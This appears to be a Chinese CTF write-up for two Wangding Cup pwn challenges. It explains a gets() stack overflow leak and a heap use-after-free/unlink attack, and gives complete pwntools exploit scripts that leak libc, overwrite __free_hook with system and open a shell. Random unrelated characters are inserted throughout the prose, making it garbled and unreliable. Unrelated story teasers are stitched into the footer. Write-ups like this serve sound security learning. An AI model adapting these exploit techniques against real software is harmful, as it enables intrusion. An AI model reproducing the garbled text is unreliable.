網(wǎng)鼎杯第一場 writeup

0x01 Guess

  • 程序功能
    程序先將flag讀入內(nèi)存中琉朽,然后與用戶輸入相比較,程序會fork三次稚铣,在三次之后還猜不對則退出箱叁。

  • 漏洞位置
    在用戶輸入flag時,是用gets()進行輸入惕医,此處存在棧溢出

    vul

  • 利用思路
    程序開了canary耕漱,存在棧溢出,并且把flag讀到了內(nèi)存中抬伺,我們可以考慮觸發(fā)__stack_check_fail的異常處理鏈將內(nèi)存中的flag打印出來螟够,由于沒有固定的地址,存在于棧中峡钓,所以要先leak棧地址妓笙,最后算出偏移將flag打印出來。

    checksec

libc中有個environ指針指向存放環(huán)境變量的地址(棧上面)能岩,可通過此指針leak出棧地址给郊。

environ

  • my-exp
from pwn import *
local = 1

if local:
    p = process('./GUESS')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'time is up!'

def guess(flag):
    flag = p64(0) * 37 + flag
    p.recvuntil('Please type your guessing flag\n')
    p.sendline(flag)
    p.recvuntil('***: ')
    return p.recvuntil(' ter')[:-4]

def debug():
    print pidof(p)[0]
    raw_input()

elf = ELF('./GUESS')
#step1 leak libc_base
gets_got = elf.got['gets']
success('gets_got => ' + hex(gets_got))
libc.address = u64(guess(p64(gets_got)) + '\x00' * 2) - libc.symbols['gets']
success('libc_base => ' + hex(libc.address))

#step2 leak environ_addr on the stack
environ_addr_ptr = libc.symbols['environ']
environ_addr= u64(guess(p64(environ_addr_ptr)) + '\x00' * 2)
success('environ_addr => ' + hex(environ_addr))

#step3 calc the offset of flag
print guess(p64(environ_addr - 0x168))

0x02 babyheap

  • 程序功能
    可申請最多10次的大小為0x20chunk,最多可edit 3chunk中的內(nèi)容捧灰。

  • 漏洞位置
    free后不清空指針使.bss上存在Dangling ptr

    free

    edit時不會檢查是否已經(jīng)free可造成uaf统锤。
    edit

  • 利用思路
    因為只能edit3次毛俏,所以每次edit都要很精確。先利用連在一起的fastbin中構(gòu)造出一個unlink的結(jié)構(gòu)饲窿,并順帶leakheap_base煌寇。第一次edit,在堆上構(gòu)造fastbin attack逾雄,使在數(shù)組中出現(xiàn)觸發(fā)unink的指針阀溶。第二次edit,寫自身為free_hook鸦泳,第三次edit银锻,將free_hook寫為system但是做鹰!我死活沒有leaklibc基址击纬,從而無法在第二次將自身寫為free_hook,也剛好無法寫到limit的位置钾麸,于是我想了個騷操作繞了一大圈(下見被三個引號注釋的腳本):將本該存堆指針的地方重新偽造個0x31來做fastbin attack更振,這樣我就可以通過add來修改limit甚至修改可以索引到的指針來搞很多事情炕桨,雖然我只需要將leak一下libc基址,然后再寫自身就行了肯腕。當(dāng)時做出來的時候我覺得我簡直是個天才献宫,然后看了別人的writeup發(fā)現(xiàn)我簡直是個傻逼,既然已經(jīng)unlink獲得了寫自己的指針实撒,第二次edit的時候把指針下移姊途,第三次edit就可以直接改limit了。(下見未注釋的腳本)奈惑。

unlink時只需滿足free堆塊的size不在fastbin范圍內(nèi)吭净,進行unlink的堆塊的size無所謂。unlink后產(chǎn)生的指向自己上面的指針可以有大作用肴甸,不要想的太死板了寂殉。

  • my-exp
from pwn import *

local = 1

if local:
    p = process('./babyheap')
    elf = ELF('./babyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    print 'Time is up!'

def add(index , content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

def edit(index , content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

def show(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    return p.recvuntil('Done!')[:-6]

def free(index):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Done!')

def debug():
    print pidof(p)[0]
    raw_input()

free_got = elf.got['free']
success('free_got => ' + hex(free_got))

sleep(5)

#leak heap_base
ptr = 0x6020a8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
fake_unlink = p64(0) + p64(0xb1) + p64(fake_fd) + p64(fake_bk)
fake_head = p64(0xb0) + p64(0x90)
add(9 , fake_unlink[:-1])
add(1 , '1' * 0x1f)
add(2 , '2' * 0x1f)
add(3 , '3' * 0x18 + '1')
add(4 , '4' * 0x19)
free(1)
free(2)
heap_base = u64(show(2).ljust(8 , '\x00')) - 0x30
success('heap_base => ' + hex(heap_base))

#unlink
fake_fastbin = heap_base + 0xb0
edit(2 , p64(fake_fastbin))
add(5 , '5' * 0x8)
add(6 , fake_head)
add(7 , '7' * 0x1f)
add(8 , '8' * 0x1f)
add(0 , '0' * 0x1f)
free(4)

#leak libc_base
payload = p64(free_got) + p64(0) * 2 + p64(0x6020a0)
edit(9 , payload[:-1])
libc.address = u64(show(6).ljust(8 , '\x00')) - libc.symbols['free']
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
success('system_addr => ' + hex(system_addr))

#break limit and change free_hook to system
payload2 = p64(0) + p64(free_hook) + p64(4)
edit(9 , payload2[:-1])
edit(9 , p64(system_addr))

#get shell
add(8 , '/bin/sh')
p.sendline('4')
p.sendline('8')

'''
#make a fastbin attack to .bss
free(8)
bss_fastbin = 0x602090
edit(8 , p64(bss_fastbin))
bss_head = p64(0) + p64(0x31) + p64(0)
edit(9 , bss_head[:-1])
add(6 , '/bin/sh')

#leak libc_base and change limit
payload = p64(free_got) + p64(bss_fastbin) + p64(4)
add(8 , payload)
libc.address = u64(show(8).ljust(8 , '\x00')) - libc.symbols['free']
success('libc_base => ' + hex(libc.address))
free_hook = libc.symbols['__free_hook']
success('free_hook => ' + hex(free_hook))
system_addr = libc.symbols['system']
success('system_addr => ' + hex(system_addr))

#change free_hook to system
payload = p64(heap_base + 0x130) + p64(0) + p64(0) + p64(free_hook)
edit(9 , payload[:-1])
edit(9 , p64(system_addr)[:-1])
p.sendline('4')
p.sendline('6')
'''

#debug()
p.interactive()

0x03 blind

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市原在,隨后出現(xiàn)的幾起案子友扰,更是在濱河造成了極大的恐慌,老刑警劉巖庶柿,帶你破解...
    沈念sama閱讀 206,214評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件村怪,死亡現(xiàn)場離奇詭異,居然都是意外死亡浮庐,警方通過查閱死者的電腦和手機甚负,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,307評論 2 382
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來审残,“玉大人梭域,你說我怎么就攤上這事〗两危” “怎么了病涨?”我有些...
    開封第一講書人閱讀 152,543評論 0 341
  • 文/不壞的土叔 我叫張陵,是天一觀的道長璧坟。 經(jīng)常有香客問我既穆,道長,這世上最難降的妖魔是什么雀鹃? 我笑而不...
    開封第一講書人閱讀 55,221評論 1 279
  • 正文 為了忘掉前任幻工,我火速辦了婚禮,結(jié)果婚禮上褐澎,老公的妹妹穿的比我還像新娘会钝。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 64,224評論 5 371
  • 文/花漫 我一把揭開白布迁酸。 她就那樣靜靜地躺著先鱼,像睡著了一般。 火紅的嫁衣襯著肌膚如雪奸鬓。 梳的紋絲不亂的頭發(fā)上焙畔,一...
    開封第一講書人閱讀 49,007評論 1 284
  • 那天,我揣著相機與錄音串远,去河邊找鬼宏多。 笑死,一個胖子當(dāng)著我的面吹牛澡罚,可吹牛的內(nèi)容都是我干的伸但。 我是一名探鬼主播,決...
    沈念sama閱讀 38,313評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼留搔,長吁一口氣:“原來是場噩夢啊……” “哼更胖!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起隔显,我...
    開封第一講書人閱讀 36,956評論 0 259
  • 序言:老撾萬榮一對情侶失蹤却妨,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后括眠,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體彪标,經(jīng)...
    沈念sama閱讀 43,441評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,925評論 2 323
  • 正文 我和宋清朗相戀三年掷豺,在試婚紗的時候發(fā)現(xiàn)自己被綠了捞烟。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,018評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡当船,死狀恐怖坷襟,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情生年,我是刑警寧澤,帶...
    沈念sama閱讀 33,685評論 4 322
  • 正文 年R本政府宣布廓奕,位于F島的核電站抱婉,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏桌粉。R本人自食惡果不足惜蒸绩,卻給世界環(huán)境...
    茶點故事閱讀 39,234評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望铃肯。 院中可真熱鬧患亿,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,240評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至咙冗,卻和暖如春沾歪,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背雾消。 一陣腳步聲響...
    開封第一講書人閱讀 31,464評論 1 261
  • 我被黑心中介騙來泰國打工灾搏, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人立润。 一個月前我還...
    沈念sama閱讀 45,467評論 2 352
  • 正文 我出身青樓狂窑,卻偏偏與公主長得像,于是被迫代替她去往敵國和親桑腮。 傳聞我的和親對象是個殘疾皇子泉哈,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,762評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 網(wǎng)鼎杯第一場wp guess防護機制:image.png 開啟了canary和NX 簡單的看了下反編譯的邏輯 發(fā)現(xiàn)...
    zs0zrc閱讀 1,976評論 0 4
  • 0x00 前言 Pwn弱雞,比賽劃水到旦,只好跟著大佬的博客刷刷一些題目才能維持尊嚴(yán)旨巷,在刷題目的時候又發(fā)現(xiàn)了一些新姿勢...
    Fish_o0O閱讀 1,530評論 0 6
  • 0x00 前言 看神仙打架系列,題太多了添忘,自己太菜了采呐,還是只有淪落到賽后復(fù)現(xiàn)大佬們的Write Up的地步了,什么...
    Fish_o0O閱讀 1,328評論 0 5
  • 百天已至 隔海相望搁骑,信簡傳情 錦書易寄斧吐,相思難及。 城南花 已開仲器,只待君歸來煤率。
    欒城安閱讀 196評論 0 0
  • 今天是什么日子 竟然去訂了房間,好吧乏冀,雖然還有三個月蝶糯,但是感覺一煙溜就過去了,最后的幾十天辆沦,好好看書昼捍。 起床:七點...
    水筆仔o12530閱讀 157評論 0 0